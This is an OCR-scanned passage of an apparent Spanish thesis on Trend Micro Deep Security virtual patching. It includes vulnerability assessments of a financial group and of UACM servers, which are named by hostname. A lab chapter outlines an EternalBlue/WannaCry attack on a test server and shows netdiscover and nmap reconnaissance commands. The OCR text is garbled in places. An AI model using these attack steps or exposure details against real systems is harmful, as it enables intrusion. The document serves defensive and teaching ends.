- sastmnsv‘-c)ﬂ!oﬁ

. Mlmtm‘w as ﬁ
ey

Tiempo 60 a 90 dias (»""'_ Operativos Xposicion)

Figura 3.6: Grafica de riesgo parches contra vulnerabilidades.

3.1. Solucién propuesta mediante parches virtuales.

Proteger las vulnerabilidades antes de que puedan ser explotadas.

Cientos de vulnerabilidades de software estdan expuestas cada mes, y el parche opor-
tuno es costoso, propenso a errores y, a menudo, imposible. Las soluciones de parcheo
virtual de Trend Micro usan tecnologias de deteccion y prevencion de intrusiones para
proteger las vulnerabilidades antes de que puedan ser explotadas. De esta forma, obtie-
ne proteccion inmediata sin los costos y dolores operativos de parches de emergencia,
frecuentes ciclos de parches, brechas y costosos tiempos de inactividad del sistema.”

*Portal Web Trend Micro, “http://apac.trendmicro.com/apac/enterprise/challenges/cloud-
virtualization/virtual-patching/index.html”, (consultado 29 Octubre 2017).
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(Por qué con Trend Micro?

Trend Micro Incorporated, lider mundial en seguridad de contenido de Internet, se en-
foca en asegurar el intercambio de informacién digital para empresas y consumidores.
Pionera y vanguardista de la industria, Trend Micro estd avanzando en la tecnologia
integrada de gestion de amenazas para proteger la continuidad operativa, la informa-
cién personal y la propiedad contra malware, spam, pérdidas de datos y las nuevas
amenazas Web. Sus soluciones flexibles, disponibles en multiples factores de forma,
son soportadas 24/7 por expertos en inteligencia de amenazas en todo el mundo. Una
empresa transnacional, con sede en Tokio, las soluciones de seguridad confiables de
Trend Micro se venden a través de sus socios comerciales en todo el mundo.

En la actualidad Trend Micro se muestra como lider en el cuadrante magico de Gart-
ner; Gartner es una empresa de consultoria e investigacién del mercado de las nuevas
tecnologias dedicada exclusivamente a investigar y analizar las tendencias del mer-
cado, sobre estas conclusiones elabora un ranking de los fabricantes con las mejores
soluciones y productos.
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Microsoft gy
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[ ] F-Secure Carbon Black
Panda Sect ||ily: CrowdStrike
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bl Malwarebytes @ ]
= At Bitdefende Palo Alto Networks
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=
[ G Data Software Comado
o
> ]
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m
<<
COMPLETENESS OF VISION As of January 2017

Figura 3.7: Cuadrante mégico de Gartner.
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Descrito lo anterior, nuestra propuesta se basa en una plataforma de seguridad dirigida
a servidores llamada Trend Micro Deep Security que mitiga las vulnerabilidades
mediante parches virtuales, estos parches virtuales son distribuidos a través de re-
glas inteligentes que proporciona el médulo de Intrusion prevention blindando a los
servidores y sus aplicativos.

L Qué es Trend Micro Deep Security?

Trend Micro Deep Security es una herramienta modular cuyo objetivo es brindar
seguridad a los sistemas en distintas dimensiones o vectores de exposicién.

Los administradores del centro de cémputo requieren visibilidad de lo que ocurre en los
servidores, no solo por amenazas de tipo malware, sino también contra otros eventos
de seguridad que ponen en riesgo la integridad de la informacién, con la subsecuente
pérdida de confiabilidad en la organizacion.

Un evento de inseguridad puede incluir la explotaciéon de vulnerabilidades, ataques de
negacion de servicios, extracciéon y alteracion de la informacién, modificacion de las
plataformas tecnolégicas, accesos no autorizados y también amenazas como el malware
vy Ransomware.

Contar con una plataforma de seguridad que pueda ofrecer visibilidad de estos eventos
vy que pueda apoyar a impedir que se concrete un ataque, adquiere una relevancia muy
importante dentro de la operacién y continuidad del negocio.

Otra ventaja, es que puedes aplicar parches virtuales sin necesidad de que modifiques
la aplicacién o tengas que reiniciar el servidor.

Cloud r Data Center
HYBRID CLOUD SECURITY

@ @ @

PHYSICAL VIRTUAL VIRTUAL DESKTOP
F

I

O—F—©

Deep Security Agent
Deep Security Manager

Deep Security Alerts Reports Administrator
(Software or Service)

©

Figura 3.8: Esquema general de despliegue de Deep Security
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Descripciéon de los componentes de Trend Micro Deep Security

» Deep Security Manager (DSM). Es la consola de administracion centralizada
basada en Web, usada por los administradores para configurar las politicas de
seguridad y desplegarlas a los componentes DSA.

» Deep Security Agent (DSA). Es el agente de seguridad que se despliega directa-
mente sobre los servidores.

» Deep Security Relay (DSR) o Relay Server, es el elemento que pone a disposicion
las actualizaciones que se requieren de los componentes de seguridad y proteccién
como es el patron de firmas o deteccién antimalware.

» Deep Security Notifier (DSN). Es componente para equipos basados en Windows
que permite informar los eventos de seguridad que ocurran de manera local en
un servidor.

Firewall ! Intrusion Prevention System
Reduce la superficie de |_| Detecta y bloquea ataques
ataque. Previene DoS y < E I __ conocidos y de dia cero que
detecta reconocimiento de @ I_@ atacan vulnerabilidades

red |

los sitios web y protege a los : malicioso (amenazas web,
usuarios de URLs maliciosas virus y gusanos, troyanos)

Web Reputation |:| Antimalware
Controla la credibilidad de WWW Q\' Detecta y bloguea software

Log Inspection Integrity Monitoring
Optimiza la identificacion de _I e Detecta cambios maliciosos y
eventos de seguridad < |_ no autorizados en directorios,
importantes entre de miles @ @ archivos, claves del registro.
en eventos Sssssssssssssssss .
Physical Virtual Cloud Desktop/Laptop
® ® Q )

Figura 3.9: Modulos Deep Security.
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Module

Caracteristica

Beneficio

Intrusion Prevention

Integrity Monitoring

Log Inspection

Firewall

Antimalware

Application Control

Parcheo Virtual a través de reglas
inteligentes, reglas contra
vulnerabilidades vy reglas contra
exploit. Evita la explotacidn de
vulnerabilidades no parchadas.

Monitoreo  de  integridad. Permite
conocer los cambios realizados en
archivos de datos v sistema, asi como
en el registro de Windows.

Andlisis de Bitacoras. Permite resaltar
los eventos ocurridos mas relevantes
relacionados con |z seguridad o algdn
otro aspecto que sea del interés para
mantenerlo visible.

Firewall de inspeccion de estado.
Controla el acceso a los equipos
basindose en polticas Origen-
Destino-Puerto-Protocolo. Repele los
ataques de denegacidn de servicio
(Dos)

Proteccion contra amenazas de
software como las APT vy el
Ransomware.

Control de Aplicaciones. Detecta v
bloguea |z ejecucidn de software no
autorizado.

Reduce el tiempo de exposicdn de un
sistema contra ataques orientados a
las vulnerabilidades latentes.

Permite visualizar la fuente de
atagues hacia los sistemas protegidos
con el parcheo virtual.

Facilita el  cumplimiento de
normativas relativas a los controles
de cambio.

Ofrece visibilidad de los cambios no
autorizados en los sistemas.

Discrimina eventos relevantes para el
negocio, alertando por la ocurrencia
de incidentes ocultos entre todos los
registros las bitacoras de los
sistemas.

Centraliza la administracion de las
paliticas de acceso a los servidores.

Permite wvisualizar los intentos no
autorizados de acceso a los equipos.

Permite cerrar el ciclo de seguridad
brindando la dltima capa de
protecddn sobre sistema contra
software malicioso.

Aumenta la  visibilidad de las
aplicaciones  que se  ejecutan,
reduciendo el riesgo por aplicaciones
mal intencionadas.

Tabla 3.1: Descripcién de médulos Deep Security

., Qué es el parche virtual de Deep Security?

El parche virtual es una regla inteligente contra vulnerabilidades que se distribuye a
través del modulo de Intrusion Prevention, la regla se establece mediante un agente
el cual instala un controlador en la tarjeta de red del servidor. Basicamente lo que
se realiza es una inspecciéon de paquetes y en caso de ser maliciosos estos se dropean
y se resetea la comunicacion de la fuente maliciosa, con esto se logra la mitigacién y
proteccién contra vulnerabilidades que estdn expuestas a los atacantes.

Por motivos de confidencialidad por parte de Trend Micro no es posible explicar a
detalle la programacion o especificaciones del parche virtual por ser una tecnologia

propia del fabricante.

Las siguientes imégenes muestran los componentes que realizan la proteccion del par-

che virtual.
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Figura 3.10: Agente de Deep Security con modulo de intrusion prevention activado.
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Figura 3.11: Controlador instalado en tarjeta de red.
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Las siguientes imagenes describen un ejemplo de regla inteligente de parches virtuales
contra vulnerabilidades del médulo de Intrusion prevention de Deep Security.

General  Vulnarability  Configuration  Options  Assigned To
General Information
Harme: Microsaft Windows SMB Remote Code Exscution Vulnerability (14517-010)

Description

Minimum Agent/Appliance Version: 4.0.0.0

Detalls:
Application Type Eit
Priority

CVSS Seore

Detect Dnly

Events

Dis

0gGing
¥ Generata Event On Packet Drap
Always Inchuda Packet Data

Enahle Debug Mode

Identification
Typa:
Issuad

Last Updated:

Identifier

Remaote code execution vulnerability ex|sts in the way thal the Microsoft Server Message Block 1.0 (SMBv1) service handles certain requests. An attacker who successfully exploited the vulnerabilities could gain code execution on the target server

Figura 3.12: Descripcion general de regla inteligente contra vulnerabilidad MS17-010.

General ~ Vulnerability =~ Configuration ~ Options  Assigned To

Vulnerability Information

Microsoft Windows SMB Remote Code Execution Vulnerability (CVE-2017-0148)

Date Reported: ~ March 14, 2017

Type: Other
Severity. ® (Critical)
cvssScore: 9.3

Description:

Rhemute code execution vulnerability exists in the way that the Microsoft Server Message Block 1.0 (SMBv1) service handles certain requests. An attacker who successfully exploited the vulnerabilities could gain code execution on
the target server.

Solution:

Apply this rule
External References:
Mitre CVE-2017-0148
Microsoft MS17-010

Vulnerable Software and Versions:
windows

Figura 3.13: Informacién de la

vulnerabilidad protegida por el parche virtual.
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3.1.1. Proceso de mitigacién de vulnerabilidades mediante el parche
virtual.

El ciclo de vida administrativo y parches virtuales se basa en 4 puntos importantes.

1. Descubrir: Mediante un agente (DSA) instalado en el servidor, se realiza un
escaneo para descubrir las vulnerabilidades de los aplicativos y sistema operativo.

2. Evaluar: Se genera un reporte con el resultado del escaneo para conocer los
riesgos del sistema operativo y sus aplicaciones.

3. Remediar: Se aplican parches virtuales mediante un driver instalado en la tarjeta
de red y el agente instalado en el servidor, el parche virtual blinda perimetral
mente al servidor y no afecta ni actualiza la aplicacién contribuyendo a la dis-
ponibilidad y disminuyendo el riesgo de ataque por falta de parches.

4. Verificar: periddicamente el agente instalado escanea el servidor para conocer
nuevos riesgos y aplicar los parches virtuales correspondientes.

* Escanear multiples
servidores y
plataformas

* Crear reportes
de resultados
para conocer
riesgos

Evaluar

Verificar
= Volver a escanea * Aplicar

peridodicamente parches virtuales
para conocer el sin afectar la
avance y nuevos disponibilidad de
riesgos mis aplicaciones

Figura 3.14: Ciclo de vida administrativo de vulnerabilidades y parches virtuales.
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3.2. Blindaje de aplicaciones sin afectacion mediante el
parcheo virtual.

Al contar con el parche virtual que brinda Deep Security, los administradores podran
blindar el servidor y sus aplicativos sin afectar la operacién mediante reglas inteligen-
tes, reglas contra vulnerabilidades y reglas contra exzploit.

Los beneficios son los siguientes:
= Aumenta la Disponibilidad.

e No mas ventanas de emergencia.
e No mas reinicios no planificados.

e No mas fallas de las aplicaciones por parches no probados.
= Automatizaciéon y Visibilidad.

e Descubrimiento de su estado actual.
e Monitoreo continuo de actividad.

e Remediacién.
= Reduce el riesgo

e La superficie de ataque disminuye.

e Auditorias eficientes.

g
=
<
e
wv
a

VIRTUAL PATCHING - BLINDAJE

Figura 3.15: Blindaje de aplicaciones mediante parche virtual.
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Ahora mostramos por medio de la imagen el escaneo y el blindaje.

Figura 3.16: Escaneo y blindaje de aplicaciones mediante parche virtual sin afectacion.
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Capitulo 4

Analisis de riesgo en servidores y
aplicaciones criticas.

Parte del trabajo importante de nuestra propuesta, es contribuir a la remediacién y
mitigaciéon de vulnerabilidades en casos reales y as{ poder ayudar a las empresas a
mejorar el estado de salud de los servidores y sus aplicativos.

A continuacién mostramos los resultados obtenidos sobre un analisis realizado a un
grupo financiero de talla internacional y a una instituciéon académica, por motivos de
confidencialidad se omiten datos y nombres que puedan afectar la seguridad de las
instituciones analizadas.

4.1. Analisis de riesgo en institucién financiera.

4.1.1. Antecedentes.

Bajo la necesidad de proteger los servidores criticos del Grupo financiero en cuestion
v aquellos equipos que cuentan con sistemas operativos y plataformas obsoletas, se
propuso blindar cada uno de ellos, obteniendo visibilidad de las actividades y eventos
que ocurren, asi como proteger la informacién que existe dentro de los mismos.

Se realizd6 una evaluacion técnica en un grupo de servidores probando los mdédulos:
Integrity Monitoring, Intrusion Prevention y Log Inspection.

4.1.2. Resumen ejecutivo.

El siguiente resumen tiene como referencia un estado inicial tomando como base el
primer escaneo y aplicacién de parches virtuales proporcionados por Deep Security,
el cual se realizé6 de manera inicial posterior a la instalacién de los agentes entre el 5
al 8 de agosto del 2017. De manera subsecuente, este grupo financiero realiz6 la miti-
gacion de vulnerabilidades actualizando y poniendo parches fisicos de los fabricantes
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de Software. Sin embargo, al realizarse un tltimo escaneo el 22 de agosto del 2017,
se contintian detectando una gran cantidad de vulnerabilidades que no se han podido

mitigar con los parches de los fabricantes, pero que se encuentran protegidas a través
del parche virtual de Deep Security.

e ~N ™
Resumen de hallazgos Resumen de hallazgos
Escaneo Inicial Escaneo Final
’ | | ’ I |
16,379 47 14,259 47
Vulnerabilidades Servidores con DSA ades Servidores con DSA
Parchadas con DS las con DS
enos que el
escanéo inicia
\ & N V.

Inicialmente se implementé la tecnologfa Trend Micro Deep
Security en un total de 47 servidores. El total de reglas
aplicadas para proteger dicha cantidad de servidores fue de
16,379 vulnerabilidades.

Posterior a la instalacién de parches fisicos se noté una
disminucion de vulnerabilidades en los mismos 47 servidores.
El total de reglas aplicadas fue de 14,259 vulnerabilidades.

Figura 4.1: Comparativa de resumen de hallazgos.

Vulnerabilidades por Sistema Operativo
Escaneo Inicial

25
7459

—Vulnerabilidades por 5.0. £ Servidores por 5.0.

Vulnerabilidades por Sistema Operativo
Escaneo Final

8000

3.000
2,000

1.000

. Vulnerabilidad

i Servidores por 5.0

Se protegieron distintas plataformas de Sistema Operativo y
se aplicaron las reglas correspondientes para mitigar las
vulnerabilidades encontradas mediante el parcheo virtual que
proporciona Deep Security

Posterior a la implementacién de parches fisicos se noté una
disminucién de vulnerabilidades encontradas en los
diferentes Sistemas Operativos, sin embargo la proteccion
continua mediante el parche virtual mitigando las
vulnerabilidades que no se pudieron parchar.

Figura 4.2: Comparativa de vulnerabilidades encontradas por sistema operativo.
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Ejemplos de Vulnerabilidades Criticas Parchadas Ejemplos de Vulnerabilidades Criticas Parchadas
Escaneo Inicial Escaneo Final

4 v
Se encontraron equipos con vulnerabilidades muy sensibles Posterior a la implementacidn de parches fisicos se notd una
como la ocupada por el ransomware Wannacry y otras gue disminucién de servidores expuestos a vulnerabilidades de
permiten ejecucién remata Wannacry. Ahora, se nota que en fechas recientes el 8 de

agosto del 2017, aparecié una nueva vulnerabilidad que
puede llegar a ser tan impactante como la usada por
Wannacry. Este es el caso del CVE-2017-8620, la cual ya se
encuentra mitigada a través del parche virtual de Deep
Security. Cabe mencionar gue incluso el equipo XP esta
protegido por el parche Virtual, Microsoft ya no publicé parche
para dicho Sistema Operativo.

Figura 4.3: Comparativa de ejemplos de vulnerabilidades criticas.

Realizar una remediacién manual de estas vulnerabilidades, requeriria de la imple-
mentacion de 14259 parches de seguridad de distintos fabricantes. Si se toma como
base que la implementacién que cada uno de ellos requiere de una ventana de mante-
nimiento de entre 30 minutos y 2 horas, el tiempo total de implementacién podria ir
de las 7,000 a 17,000 horas de trabajo.

Aparte, hay que considerar que gran parte de estos parches de seguridad, no podran
ser implementados debido a que pertenecen a Sistemas que ya no son soportados por
sus fabricantes, por ejemplo, Windows Server 2003 y Windows XP por mencionar
algunos.

Existe un alto riesgo de exposicién de que los sistemas criticos del grupo financiero
se vean afectados por atacantes internos o externos. Como hemos mencionado en la
seccion del Resumen Ejecutivo, al momento de edicién del presente documento, quedan
14,259 huecos de seguridad en los ambientes analizados y que, en el caso de no contar
con la proteccién de Deep Security, quedarian expuestos a posibles ataques, lo cuales
podrian ir desde la interrupcién de servicios criticos del negocio y hasta la sustraccion
o modificacién de la informacion de los usuarios y clientes del grupo financiero.

Dentro de este grupo de vulnerabilidades se encontraron algunas con 17 anos de an-
tigiiedad, y que han podido remediarse debido a la criticidad de los servidores en los
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que se encuentran, ya que no pueden someterse a interrupciones operativas.'

Durante el anélisis de riesgo se pudo observar que a pesar de que en algunos servidores
se implementaron los parches fisicos, quedaron atn muchos huecos de seguridad, los
cuales estan siendo protegidos por el parche virtual de Deep Security, el cual continuara
mitigando las vulnerabilidades el tiempo de vida de la aplicacién o del propio sistema
operativo.

4.1.3. Analisis de impacto en la operacién

Tras analizar los hallazgos encontrados, se recomienda enfocarse en la mejora de 4

rubros.

Punto de mejora Recomendacion tecnoldgica

Disminucion de la Se recomienda implementar procesos y tecnologia de Alindafe de las aplicaciones

exposicion al riesgo mas criticas del grupo. Dicho blindaje deberd informar y prevenir continuamente
vulnerabilidades tanto de sistema operativo como de las aplicaciones que se
encuentren presentes en los sistemas.

Aumento de disponibilidad La tecnologia v procesos de disminucion de riesgo deberdan contemplar la

de aplicaciones disponibilidad de aplicaciones criticas, evitando cortes o interrupciones no
programados durante la implementacion de controles de seguridad. Al mismo
tiempo se deberd evitar la modificacidn a cualquier archivo de sistema critico que
ponga en riesgo la operatividad del servicio.

Auditoria de la operacion Con el afan de otorgar un seguimiento v visibilidad de eventos de seguridad que

provoquen algin impacto finandero o de integridad y confidendalidad de la
informacidn, se recomienda implementar el monitoreo y alertamiento continuo de
accesos a servidores v aplicaciones criticas, asi como de cambios a los servicios y
archivos vitales de estas.

Tabla 4.1: Anélisis de impacto en la operacion.

4.1.4. Solucién y Justificacién del negocio.

Derivado del analisis y resultados, se recomienda incorporar la herramienta Trend Mi-
cro Deep Security en los servidores més criticos del grupo para contar con la tecnologia
adecuada para cubrir los puntos recomendados anteriormente. Asi mismo se sugiere
incorporar servicios profesionales que garanticen el monitoreo.

LCVE-2000-1075: Directory traversal vulnerability in iPlanet Certificate Management System 4.2
and Directory Server 4.12 allows remote attackers to read arbitrary files via a .. (dot dot) attack in
the Agent, End Entity, or Administrator services.
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Punto de mejora Médulos tecnoldgicos de  Beneficio para el negocio
Deep Security
recomendados
Disminucion de la Virtual Patch A través de la tecnologia de Virtual Patch se
exposicion al blindarén las aplicacones altamente criticas que
riesgo corren hoy en dia en el grupo disminuyendo asi el

riesgo que hoy tienen ante ataques interncs o
externos. Esta tecnologia brindara la proteccion
desde la propia infraestructura virtual.

Aumento de Virtual Patch A través de la tecnologia de Virtual Patch se
disponibilidad de evitaran los dos aspectos que interfieren con la
aplicaciones disponibilidad de aplicaciones al momento de

implementar seguridad: (1) la sustitucion de
archivos criticos vy (2) las ventanas de
mantenimiento requeridas durante la
implementacidn de parches de seguridad. Con
esto se cubrird una actividad gue toma en
ocasiones un afo en realizarse y hoy en dia
representa el principal origen de riesgo de las

aplicaciones.
Auditoria de la Log Inspection vy  File A través de las tecnolegias de Log Inspection v
operacion Integrity Monitoring File Integrity Monitoring se monitoreard en

tiempo real accesos a servidores y aplicaciones
criticas, asi como cambios a los servidos v
archivos vitales de éstos. Con lo anterior se
facilitara el sequimiento de eventos de seguridad
con impacte financiero o de integridad v
confidencialidad

Tabla 4.2: Solucién y justificacion del negocio.

4.2. Analisis de Riesgo a la Universidad Auténoma de la
Ciudad de México.

4.2.1. Objetivo.

Conocer los riesgos y exposicion actual de la Universidad Auténoma de la Cuidad
de México ante ataques de ciberseguridad que impacten la operaciéon del negocio,
identificando las vulnerabilidades existentes en servidores y aplicaciones productivas
que puedan comprometer los servidores criticos de la universidad como péginas web
educativas y servidores de monitoreo.

4.2.2. Alcance.

En acuerdo con el drea de Tecnologias de la Informacién, se seleccionaron 3 servidores
productivos con versiones de sistema operativo Windows y linux, en los que se llevo a
cabo el escaneo y andlisis para el descubrimiento de las vulnerabilidades. Los servidores
seleccionados son:
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= Nagios.uacm.edu.mx con Debian.
= WIN.AZ06BJOILDP con Windows server.

» Selser.uacm.edu.mx con Centos.

¢/ e | Deep Security

Dashboard  Actions  Alerts Events & Reports ~ Computers Policies  Administration

P Smart Folders

Computers With sub-Groups + By Group -
i Computers
Add - [ Delete.. [ Details.. 4 Actions ~ [=] Events ~ B ep
NAME PLATFORM ~

~ Computers (3)

i nagios.uacm.edu.mx Red Hat Enterprise 7 (64 bit)
i WIN-AZ06BJOTLDP Microsoft Windows Server 2008 (32 bit)
i selser.uacm.edu.mx Debian 8 (64 bit)

Figura 4.4: Servidores UACM gestionados desde Deep Security.

4.2.3. Resumen Hallazgos.

El anélisis de riesgo tuvo como resultado la identificacién de 421 vulnerabilidades
en los servidores donde se les ejecutd el escaneo. Dichas vulnerabilidades, tienen como

origen tanto el Sistema Operativo, asi como aplicaciones como FEzxzchange, browsers,
JAVA, etc.

Algunas de las vulnerabilidades encontradas, al ser explotadas por los atacantes uti-
lizando distintas técnicas de penetracion, tienen como consecuencia el impacto y
compromiso total del servidor y de las aplicaciones corriendo sobre él.

A continuacion, se presenta la matriz con las vulnerabilidades registradas por servidor
y el posible impacto sobre los activos del Grupo, al ser explotadas por los atacantes:

RIESGO DE IMPACTO EN LA OPERACION nagios.uacm.edu.mx | selser.uacm.edu.mx | WIN-AZ06BJO1LDP

Riesgo ante ataques que compromenten Sistemas y

32 115 49
Aplicaciones de forma general
Operacidn en alto riesgo ante denegacion de
Pperacy [ SO Bacu 19 32 1
Servicios
" . ..
Riesgo de ataques de suplantacion y robo de as 120 &

informacién

Tabla 4.2.1: Vulnerabilidades encontradas vs impacto en la operacién.
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4.2.4. Impacto en la operaciéon.

De acuerdo a lo trabajado con el area de TI, se definié la criticidad de cada uno
de los servidores de acuerdo a las aplicaciones y servicios hospedados, ademés de
considerar el posible impacto en la operacién en caso de que uno de estos llegase a ser
comprometido. A continuacion, se presenta la informacién detallada:

CRITICIDAD SERVIDOR TIPO APLICACIONES Y SERVICIOS FUNCIONES USUARIOS  |FVULN
.Pé'a eb principal de la universidad para la consulta de A
Ina w NG INver f 1\
1 |WIN-AZ068I01L0P Web |https://unwuscm.edume] | oo PP v° QUMNEISERAIBIACONSIACe | profesores )
contenidos e informacion académica
*General
5 4 iond " p del * Alumnos
2 selser.uacm.edu.mx Web  |https://selser.uacm.edu.mx/ I,S{Fma ese,mm emm,em HAHA Hma pa * Profesores %7
biblioteca digital de Gregorio Selser
* General
licacion dedicada al monitoreo y analisis de redes e
nagios.uacm.edu.mx App  |Sistema de monitoreo NAGIOS .Apl I I .I : o *Sistemas %
infraestructura T de la Universidad

Tabla 4.2.2: Servicios y aplicaciones en servidores.

De acuerdo al andlisis, se detect6 que la totalidad de servidores tienen vulnerabilidades,
las cuales van desde el 2004, hasta las tltimas actualizaciones del 2017.

Como podemos notar en la columna # VULN, en cada uno de los servidores se en-
contraron vulnerabilidades, lo que implica un riesgo potencial importante debido a
que éstas al no estar protegidas, pueden ser explotadas o vulneradas mediante algin
equipo comprometido en la red interna, o de forma remota por un atacante.

Importante mencionar que, de acuerdo a las aplicaciones que residen en cada uno de
los servidores y las vulnerabilidades al ser explotadas, pueden generar los siguientes
impactos en la operacion:



38 Capitulo 4. Analisis de riesgo en servidores y aplicaciones criticas.

CRITICIDAD) SERVIDOR

POSIBLES IMPACTOS

1 WIN-AZD6BI01LDP

 Falta de disponibilidad de informacién del servicio web para el pablico en
general

= Potencial riesgo de cifrado de informacion al tener vulnerabilidades criticas
expuestas

= Riesgo de perdida de informacion al no contar con respaldos/backups

= Mala reputacion Web

*Riesgo de que la informacion publicada en el sitio web sea comprometida, en
caso de exfiltracion (historial académico, acreditaciones, semvicios escolares,
etc).

2 selser.uacm.edu.mx

= Falta de dispanibilidad del servicio web para el piblico en general

= Mala reputacion Web

= Riesgo de pérdida de informacion al no contar con respaldos/backups

= Riesgo de que la informacion publicada en el sitio web sea comprometida v
utilizada para fines no academicos.

3 nagios.uacm.edu.mx

= Disponibilidad y operacion de la aplicacidn.
*Riesgo a comprometer topalogias e informacion de red universitaria yque sea
utilizada por piratas ciberneticos con fines maliciosos.

Tabla 4.3.3: Posibles impactos a la operacion del negocio.

4.2.5. Analisis de vulnerabilidades.

A continuacién, se muestran los resultados obtenidos durante la ejecucion de los esca-
neos para la identificacién del total de reglas recomendadas de acuerdo a su severidad.

WIN-AZOGBJOILDP
nagios.uacm.edu.mx
salser.uacm adu.mx

SERVER # MEDIUM  # HIGH TOTAL
8 1 58 4 ny
45 19 96 A o

120 32 267

son Severidad Critica

Tabla 4.5: Analisis de vulnerabilidades

De acuerdo el analisis, la mayor exposicién y superficie de ataque la conjuntan los
3 servidores, encontrando entre ellos mas del 46 % de vulnerabilidades registradas,
poniendo en alto riesgo la continuidad de su operacion.
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4.2.6. Conclusiones.

Para Los desafios actuales a los que deben hacer frente los administradores de T1, cada
vez mas demandan estrategias de seguridad que permitan la aplicacién de controles
de seguridad avanzados, por lo que el tema de las vulnerabilidades y la aplicacién de
parches, bajo el contexto actual de eventos como WannaCry o Petya toman cada dia
mayor relevancia.

El anélisis realizado sobre los activos de la Universidad Auténoma de la Ciudad de
México, nos permitié identificar la superficie de ataque asociada a las vulnerabilidades,
pudiendo resaltar los siguientes puntos:

= Identificacion de los riesgos de operacion, asociados a las vulnerabilidades regis-
tradas en cada uno de los servidores, con un total de 421 vulnerabilidades sin
proteccion expuestas al no contar con el parche aplicado.

= Importante proteger y contemplar medidas compensatorias principalmente en
servidores linux, dado que es donde se registra la superficie de ataque mayor.

= La aplicacién del total de parches del fabricante en los sistemas aun soportados,
implicarfa un esfuerzo de aproximado 210 horas hombre para su remediacién y
blindaje, ademés de considerar el tiempo que se tendria fuera de operacion. q

4.2.7. Recomendaciones.

= Contar con un sistema de respaldo para poder recuperar de manera inmediata
la informacion en caso de que sea comprometida por algin atacante informéatico
o pérdida por desastre natural.

= Contar con una solucién integral que ayude a robustecer la seguridad de los
servidores con tecnologias de parcheo virtual, reportes y alertas de monitoreo
de integridad de la informacion, con el objetivo de tener visibilidad y protecciéon
en los servidores de la institucién y con esto cumplir la disponibilidad de los
aplicativos en un 100 %.

Al tener visibilidad se podran detectar eventos como el que se muestra a continuacion,
donde el 29 de octubre del 2017 se detect6 un escaneo de OS Fingerprint, 1 o que sig-
nifica que la TP 172.17.102.67 intento descubrir informacién sobre el sistema operativo
del servidor de la pagina principal de la UACM (WIN-AZ06BJO1LDP), el médulo
de Integrilty Moniloring de la solucion registro la actividad, este comportamiento es
sospechoso y puede comprometer la informacién del sistema.
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@ October 29, 2017 03:43:13 - Reconnaissance Detected: Computer O5 Fingerprint Pmbe'-'Google Chirome
8 Es seguro | hittps//app.deepsecurity.trendmicro.com/EventVi

wer.screen?systemEventlD=13201

General Tags

General Information

Time: October 29, 2017 03:43:13
Level: Warning
Event ID: 850
Event: Reconnaissance Detected: Computer OS Fingerprint Probe
Target: WIN-AZOGEJO1LDP
Event Origin: Agent
Action By: System
Manager: hb8-19
Description

The Agent/Appliance detected an attermpt to identify the computer operating system via a "fingerprint” probe. Check the Agent/Appliance Events to see the details of the probe
Agent/Applance Event(s):

Time: October 29, 2017 03:44:51

Level: Warning

Event ID: 7000

Event: Computer 05 Fingerprint Probe
Desecription: The computer at IP address 172.17.102.67 attempted a fingerprint” probe in order 1o identify the operating system,

Traffic from IP 172.17.102.67 is not being automatically blocked.

Learn More

Figura 4.5: Alerta de escaneo no reconocido de OS Fingerprint sobre el Servidor de la
péagina web de la universidad.
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Capitulo 5

Hacking Etico.

Para mostrar las ventajas del uso de una herramienta especializada para el parcheo
virtual de vulnerabilidades, modificaciéon de archivos y prevenciéon de ataques infor-
méticos. Se llevé a cabo pruebas de intrusiéon implementando un laboratorio sobre
un equipo de la CECI el cual se utiliz6 solo con fines demostrativos dicha prueba de
intrusiéon se describe en dos fases.

5.1. FASE 1 Sin Agente de Deep Security.

Para la fase 1 de esta prueba se empleb un servidor victima dedicado a respaldo de
informacién y desde un equipo remoto el atacante explota la vulnerabilidad MS17-010
logrando comprometer al servidor para sustraer informaciéon confidencial y culminando
con el cifrado de informacién mediante Ransomware WannaCry, el flujo del ataque se
muestra en la figura 5.1

Detalles de los equipos implementados en la fase 1, se explican a continuacion.
Equipo Atacante.

= Version de sistema operativo: Kali-Linux.

= [P:192.168.10.137

= Vulnerabilidad Explotada: MS17 — 010 CVE 2017 — 0144.

= Exploit utilizado: Eternal Blue.

Equipo Victima.
= Version de sistema operativo: Windows Server 2008 R2.
= Nombre del equipo: WIN-K7PMQP2F81K.

= JP:192.168.10.136
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= Rol del Servidor: Utilizado para respaldo de informacién confidencial.
@WanaDecryptor@.exe
. L
y =
\flr: Iss‘:sgigxe %
4= ]
—]
Servidor r,'.-ic;nal -
MWNCRY
Figura 5.1: Flujo de ataque a servidor explotando vulnerabilidad MS17-010.
5.1.1. Descubrimiento de la superficie de riesgo.

Observando la siguiente imagen con el siguiente comando kali> #netdiscover.

root@Kkali: ~

File Edit View Search Terminal Help

Currently scanning: 192.168.72.0/16 | Screen View: Unique Hosts
6 Captured ARP Req/Rep packets, from 4 hosts. Total size: 360

Unknown

Unknown

.10.136 00 E B
.10.254 0@ : 6@ Unknown

Figura 5.2: Resultado de comando netdiscover.
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Se observan los servidores que pueden ser comprometidos con el ataque propuesto,

realizamos un escaneo para detectar los servidores disponibles.

Nuestra victima fue el servidor Windows server 2008 R2 con IP: 10.168.10.136 como

se muestra en la figura anterior.

-0l x|
§ A. ) |_' - Contral Panel - All Control Panel Items - System - lmjl Search Control Panel 0]

Control Panel Home: View basic information about your computer

¥ Device Manager Windows edition
Fy Remote settings Windows Server 2008 R.2 Datacenter

) Advanced system settings Copyright © 2009 Microsoft Corporation. All rights reserved.

Command Prompt

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection—specific DNS Suffix

Link-local IPve Address . . . . : feBB::159f:5af7:e85:2a78x11
IPu4 Addr = 192.168.18.136

Subnet Ma : 255.255_255.8

Default Gateway 1 192.168.18.2

Tunnel adapter isatap.{B4946AFF-2C2F-4F21-A562-2D926B62FE1E>:

Media State ¢ Media disconnected
Connection—specific DNS Suffix H

Tunnel adapter Teredo Tunneling Pseudo—Interface:

Media State : Media disconnected
Connection—specific DNS Suffix H

C:~\UserssMichel>

Figura 5.3: Informacién del servidor victima.

5.1.2. Escaneo de puertos.

Se ejecuta un escaneo de puertos con el objetivo de validar los posibles accesos del
ataque sobre puertos abiertos en vulnerables en el servidor. También se obtendra
informacioén del sistema operativo que tiene actualmente el servidor. El comando para
descubrir informacién del servidor y puertos abiertos es:nmap -O IPservidor. De
acuerdo a la imagen siguiente se observa la apertura de puertos disponibles, en este
caso tomaremos el puerto 445/TCP de Microsoft el cual es vulnerable para el ataque
mediante MS17 — 010, también se muestra la informacion del sistema operativo del

servidor.
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root@kali: ~ @ 0 0

File Edit View Search Terminal Help
